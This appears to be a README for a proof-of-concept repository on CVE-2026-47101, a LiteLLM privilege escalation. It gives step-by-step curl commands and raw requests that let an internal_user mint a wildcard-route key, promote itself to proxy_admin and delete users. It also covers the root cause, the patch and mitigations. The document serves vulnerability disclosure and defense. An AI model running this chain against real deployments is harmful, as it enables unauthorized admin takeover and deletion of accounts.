CVE-2026-47101 — LiteLLM Privilege Escalation via `/key/generate` + `/user/update`

LiteLLM v1.82.6（v1.83.14 之前版本）的 /key/generate 端点允许低权限的 internal_user 请求带通配符路由 ["/*"] 的 API key，随后通过 /user/update 端点将自身角色提升为 proxy_admin，实现未授权的权限提升。

Field	Value
CVE	CVE-2026-47101
CVSS v3.1	8.8 (HIGH) — `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`
CWE	CWE-863 (Incorrect Authorization)
Affected	LiteLLM < 1.83.14（确认于 v1.82.6）
Fixed	v1.83.14+（新增 allowed_routes 角色校验）
Published	2026-05-21
Discovered by	Fenix Qiao (13ph03nix) — Obsidian Security
Links	NVD

Description

LiteLLM 的 /key/generate 端点用于生成 API key，/user/update 用于更新用户属性。这两个端点的授权检查存在三个连贯的缺陷，可被低权限用户串联利用：

/key/generate 不验证 allowed_routes — 任何角色（包括 internal_user）均可请求 ["/*"] 通配符路由
路由检查回退到 allowed_routes 通配符匹配 — 生成的通配符 key 可访问所有管理端点
/user/update 允许自修改 user_role 字段 — 利用通配符 key 可将自身角色提升为 proxy_admin

攻击链

internal_user
  →  POST /key/generate  {"allowed_routes": ["/*"]}
  →  获得通配符 API key
  →  POST /user/update   {"user_id": "...", "user_role": "proxy_admin"}
  →  角色提升为 proxy_admin
  →  GET  /user/list     (使用通配符 key)
  →  验证管理员访问权限

Proof of Concept

环境准备

# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM（v1.82.6，digest 固定）
docker compose up -d litellm

# 等待服务就绪（约 10-30 秒）
sleep 15

确认服务运行

# 检查容器日志
docker logs litellm-privesc 2>&1 | tail -10

预期输出应包含 Uvicorn running on http://0.0.0.0:4000 等启动成功的日志。

Step 1: 创建 internal_user 账户

使用 master key 创建一个低权限的 internal_user 账户：

curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}'

预期输出：

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

记下返回的 user_id 和 key，后续步骤需要用到。

Step 2: 生成通配符路由的 API key

以 internal_user 身份调用 /key/generate，请求带 ["/*"] 通配符路由的 API key：

# 将 sk-internal-user-key 替换为上一步获得的 key
curl -s -X POST http://localhost:4000/key/generate \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

预期输出：

{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}

⚠️ 漏洞点：internal_user 成功生成了带 ["/*"] 通配符路由的 API key！该 key 可以访问所有管理端点，包括 /user/update、/user/list 等。

Step 3: 权限提升至 proxy_admin

使用通配符路由 key 调用 /user/update，将用户角色提升为 proxy_admin：

curl -s -X POST http://localhost:4000/user/update \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'

预期输出：

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}

⚠️ 漏洞点：user_role 已从 internal_user 变更为 proxy_admin！ /user/update 端点允许用户修改自己的 user_role 字段，未做任何权限限制。

Step 4: 验证管理员访问权限

通过 /user/list 端点验证角色提升生效：

curl -s -X GET http://localhost:4000/user/list \
  -H "Authorization: Bearer sk-wildcard-key"

预期输出：

{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}

/user/list 端点仅允许 proxy_admin 角色访问。成功获取用户列表确认权限提升已生效。

Step 5: 扩展 — 删除管理员用户

利用获得的 proxy_admin 权限，可以通过 /user/delete 删除任意用户：

curl -s -X POST http://localhost:4000/user/delete \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_ids": ["user-id-to-delete"]}'

预期输出：

一键复现

以上步骤已整合为 demo.sh，可直接执行：

# 完整复现（包含步骤 1-5）
bash demo.sh

# 同时测试修复版本对比
bash demo.sh --fixed

Fixed Version Verification

启动修复版本（v1.83.14-stable）验证漏洞已被修复：

# 启动修复版本
docker compose --profile fixed up -d litellm-fixed

# 等待就绪
sleep 15

创建 internal_user：

FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}' | \
  python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")

echo "Fixed user key: $FIXED_USER_KEY"

尝试生成通配符路由的 key（预期被阻止）：

curl -s -X POST http://localhost:4001/key/generate \
  -H "Authorization: Bearer $FIXED_USER_KEY" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

预期输出（修复版本阻止越权请求）：

{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}

与有漏洞版本对比：

测试场景	有漏洞版本 (v1.82.6)	修复版本 (v1.83.14)
internal_user 请求 `["/*"]`	✅ 成功生成通配符 key	❌ 被阻止（HTTP 403）
通配符 key 修改 user_role	✅ 成功提升为 proxy_admin

Vulnerable Endpoints

`POST /key/generate`

生成新的 API key。allowed_routes 参数用于限制 key 可访问的端点路由列表。

Field	Type	Required	Description
`allowed_routes`	array	No	允许的路由列表，如 `["/*"]` 表示所有路由

`POST /user/update`

更新用户属性，包括 user_role 字段。

Field	Type	Required	Description
`user_id`	string	Yes	要更新的用户 ID

Exploitation Technique

Step 1: 生成通配符路由的 API key

作为 internal_user，调用 /key/generate 请求带 ["/*"] 的 key：

POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json

{"allowed_routes": ["/*"]}

响应中包含新的 API key，该 key 拥有通配符路由权限。

Step 2: 提升角色为 proxy_admin

使用通配符 key 调用 /user/update：

POST /user/update
Authorization: Bearer sk-wildcard-key
Content-Type: application/json

{"user_id": "target-user-id", "user_role": "proxy_admin"}

Step 3: 验证管理员权限

GET /user/list
Authorization: Bearer sk-wildcard-key

Root Cause Analysis

漏洞根因位于三处独立的授权检查缺失：

1. `/key/generate` — 缺少 allowed_routes 角色校验

/key/generate 端点接受 allowed_routes 参数并直接将其与 key 关联，不对请求者的角色进行校验。即使是 internal_user 也可以请求管理员级别的路由权限。

# 有漏洞的伪代码 — 未校验角色
@app.post("/key/generate")
async def generate_key(params, user_api_key_dict):
    # 仅验证了 API key 有效性
    # 未检查 user_role 是否允许请求 allowed_routes
    allowed_routes = params.get("allowed_routes", [])
    new_key = create_key(user=user, allowed_routes=allowed_routes)
    return {"key": new_key}

2. 路由授权回退到 allowed_routes 通配符匹配

中间件在检查路由权限时，若用户角色级授权检查失败，会回退到检查 API key 的 allowed_routes 列表。由于 ["/*"] 匹配所有路由，所有管理端点均被放行。

# 有漏洞的伪代码 — 路由检查回退逻辑
async def authorize_request(request, api_key):
    # 用户角色检查失败后回退到 allowed_routes
    if not user_role_authorized(request, api_key.user):
        # 检查 allowed_routes — ["/*"] 匹配所有
        if not any(match_route(route, request.path) for route in api_key.allowed_routes):
            return HTTP_403
    return HTTP_200

3. `/user/update` — 允许自修改 user_role

/user/update 端点更新用户属性时，允许用户修改自己的 user_role 字段，未做限制。只有 proxy_admin 角色应有权修改用户角色。

# 有漏洞的伪代码 — 未限制 user_role 修改
@app.post("/user/update")
async def update_user(params, user_api_key_dict):
    user_id = params.get("user_id")
    updates = {}
    if "user_role" in params:
        updates["user_role"] = params["user_role"]  # 未做权限校验！
    update_user_in_db(user_id, updates)
    return {"user_id": user_id, "data": updates}

Patch Analysis (v1.83.14)

修复版本在以下三个方面增加了授权检查：

/key/generate — 新增 allowed_routes 参数校验：普通用户不能请求管理员级别的路由权限
路由授权 — 修复回退逻辑，确保用户角色检查优先级高于 allowed_routes
/user/update — 限制 user_role 字段修改权限：仅 proxy_admin 可以修改用户角色

Repository Structure

CVE-2026-47101/
├── README.md                               # This file
├── CVE-2026-47101_漏洞复现报告.docx          # Reproduction report (Chinese)
├── docker-compose.yml                      # PostgreSQL + vulnerable/fixed LiteLLM
├── config.yaml                             # LiteLLM config with database connection
├── requirements.txt                        # Python dependencies
├── demo.sh                                 # One-click reproduction script
├── exploit/
│   ├── exploit.py                          # Python exploit script
│   └── payload.py                          # Payload builders
├── docs/
└── screenshots/

Mitigation

Upgrade to LiteLLM v1.83.14+ (fixed authorization checks)
Restrict API key privileges — enforce least privilege for allowed_routes
Audit existing users and keys for signs of privilege escalation
Monitor /user/update calls with user_role changes for anomalous activity

References

Disclaimer: This content is provided for educational purposes and authorized security testing only.

CVE-2026-47101-PoC

最受欢迎

CVE-2026-47101-PoC

最受欢迎

CVE-2026-47101 — LiteLLM Privilege Escalation via /key/generate + /user/update

Description

攻击链

Proof of Concept

环境准备

确认服务运行

Step 1: 创建 internal_user 账户

Step 2: 生成通配符路由的 API key

Step 3: 权限提升至 proxy_admin

Step 4: 验证管理员访问权限

Step 5: 扩展 — 删除管理员用户

一键复现

Fixed Version Verification

Vulnerable Endpoints

POST /key/generate

POST /user/update

Exploitation Technique

Step 1: 生成通配符路由的 API key

Step 2: 提升角色为 proxy_admin

Step 3: 验证管理员权限

Root Cause Analysis

1. /key/generate — 缺少 allowed_routes 角色校验

2. 路由授权回退到 allowed_routes 通配符匹配

3. /user/update — 允许自修改 user_role

Patch Analysis (v1.83.14)

Repository Structure

Mitigation

References

CVE-2026-47101 — LiteLLM Privilege Escalation via `/key/generate` + `/user/update`

`POST /key/generate`

`POST /user/update`

1. `/key/generate` — 缺少 allowed_routes 角色校验

3. `/user/update` — 允许自修改 user_role